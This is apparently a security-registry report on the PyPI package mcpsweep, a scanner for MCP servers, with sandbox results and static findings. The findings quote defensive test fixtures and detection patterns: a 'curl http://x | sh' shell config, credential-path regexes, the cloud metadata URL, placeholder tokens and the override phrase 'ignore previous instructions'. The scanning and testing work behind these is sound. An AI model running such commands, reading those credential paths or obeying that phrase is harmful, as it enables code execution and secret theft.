Skills/PyPI/mcpsweep

mcpsweep@1.0.0

CAUTION· not started

Publisher claims: "Discovery and fingerprinting scanner for MCP-over-HTTP servers (tool enumeration + risk heuristics)." Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher krishnareddypadala · publishing for 92 daysInstalls 41Last detonated 7d ago
What would fix thisWatchDispute verdict

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

Code inventory arrives with this version's next honeypot run.
It will ask for
unknown until the next run
Where it talks to
unknown until the next run
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Not enough was observed to say yet. Not started: dependency install failed; the server itself was not observed. This version's code has not been inventoried for credentials and hosts either; both arrive with its next honeypot run (popular servers first). `vet-skills try mcpsweep` runs it now and prints the full answer.

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-07 and scored it 74/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Access to sensitive file paths; Bidirectional text override characters detected; Hidden zero-width characters detected. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1
0.1sprocessexec /usr/bin/date
0.1sprocessexec /usr/bin/timeout
0.1sprocessexec .venv/bin/mcpsweep
0.1sclaimedno tools/list reply (exit 0)
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

MEDIUM
npx invocation of non-well-known packagesrc/mcpsweep/configlint.py:54 · npx invocation of non-well-known package — may execute untrusted codeout.append(("config-lint", f"{name}: `npx -y` runs an UNPINNED package "Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Remote installer piped to shellsrc/mcpsweep/configlint.py:49 · Remote installer piped to shellout.append(("config-lint", f"{name}: pipes a download straight into a shell (curl|sh)"))Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Access to sensitive file pathstests/test_mcpsweep.py:167 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesDEEP_RESOURCES = [{"uri": "file:///etc/passwd", "name": "passwd"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedsrc/mcpsweep/stdio.py:37 · Python subprocess execution detectedself.p = subprocess.Popen(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathssrc/mcpsweep/deep.py:18 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr"(?i)(/etc/passwd|/etc/shadow|(^|/)\.env|id_rsa|(^|/)\.git/|(^|/)\.aws/|(^|/)\.ssh/|"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Bidirectional text override characters detectedsrc/mcpsweep/scanner.py:57 · Bidirectional text override characters detected — may hide content direction("bidi-override", re.compile("[‪-‮⁦-⁩]")),Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
HIGH
Hidden zero-width characters detectedsrc/mcpsweep/scanner.py:56 · Hidden zero-width characters detected — may conceal content("zero-width", re.compile("[​-‏⁠]")),Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST07
LOW
URL to a private-network addresstests/test_v1.py:133 · URL to a private-network address — a LAN or development targetassert _unsafe_target("http://10.0.0.5/as") # private (different host)Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
Remote installer piped to shelltests/test_v1.py:242 · Remote installer piped to shell"evil-shell": {"command": "sh", "args": ["-c", "curl http://x | sh"]},Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Access to sensitive file pathstests/test_mcpsweep.py:493 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert "file-exposure" in rf # file:///etc/passwdFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
URL to the cloud instance metadata addresstests/test_v1.py:132 · URL to the cloud instance metadata address — reads the VM's credentialsassert _unsafe_target("http://169.254.169.254/latest") # cloud metadataFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
AWS access key pattern detectedtests/test_mcpsweep.py:207 · AWS access key pattern detected — possible hardcoded or harvested keytext = "AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE" if uri == "config://app" else "root:x:0:0"Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
MEDIUM
AWS access key pattern detectedtests/test_mcpsweep.py:272 · AWS access key pattern detected — possible hardcoded or harvested keytext = "AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE"Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
MEDIUM
npx invocation of non-well-known packagesrc/mcpsweep/stdio.py:29 · npx invocation of non-well-known package — may execute untrusted codeif exe is None and os.name == "nt": # npx -> npx.cmd, etc.Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
LOW
URL to a private-network addresstests/test_v1.py:145 · URL to a private-network address — a LAN or development targetassert _unsafe_target("http://10.10.0.31:9100/.well-known/x",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
GitHub token pattern detectedtests/test_v1.py:245 · GitHub token pattern detected — possible hardcoded or harvested token"env": {"GITHUB_TOKEN": "ghp_abcdefghijklmnopqrstuvwxyz0123456789"}},Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
MEDIUM
Pipe-to-shell patterntests/test_v1.py:242 · Pipe-to-shell pattern — downloads and immediately executes remote code"evil-shell": {"command": "sh", "args": ["-c", "curl http://x | sh"]},Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
npx invocation of non-well-known packagesrc/mcpsweep/cli.py:176 · npx invocation of non-well-known package — may execute untrusted codehelp="spawn a stdio MCP server and scan it, e.g. --stdio \"npx -y @scope/mcp\" (repeatable)")Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
URL to the cloud instance metadata addresstests/test_v1.py:132 · URL to the cloud instance metadata address — reads the VM's credentialsassert _unsafe_target("http://169.254.169.254/latest") # cloud metadataFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
LOW
URL to a private-network addresstests/test_v1.py:145 · URL to a private-network address — a LAN or development targetassert _unsafe_target("http://10.10.0.31:9100/.well-known/x",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
LOW
Prompt injection attemptREADME.md:189 · Prompt injection attempt — 'ignore previous instructions' · informational: not an instruction file · informational: not an instruction file · informational: not an instruction file`instructions`, prompt templates, and resource listings ("ignore previousFix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
LOW
URL to a private-network addresstests/test_v1.py:133 · URL to a private-network address — a LAN or development targetassert _unsafe_target("http://10.0.0.5/as") # private (different host)Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07

Cost to the agent

Instructions loaded
≈59 tok
1 file · 29 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcpsweep@1.0.0 as of 7d ago. This is the package itself, not its dependencies.

What would make this Verified

6 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim krishnareddypadala: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. Bidirectional text override characters detected≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
  3. Hidden zero-width characters detected≈ +4 on the totalKeep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
  4. npx invocation of non-well-known package≈ +2 on the totalPin versions and sources; vendor anything fetched at install time.
  5. Remote installer piped to shell≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  6. Access to sensitive file paths≈ +2 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim krishnareddypadalaPropose a patch to the maintainer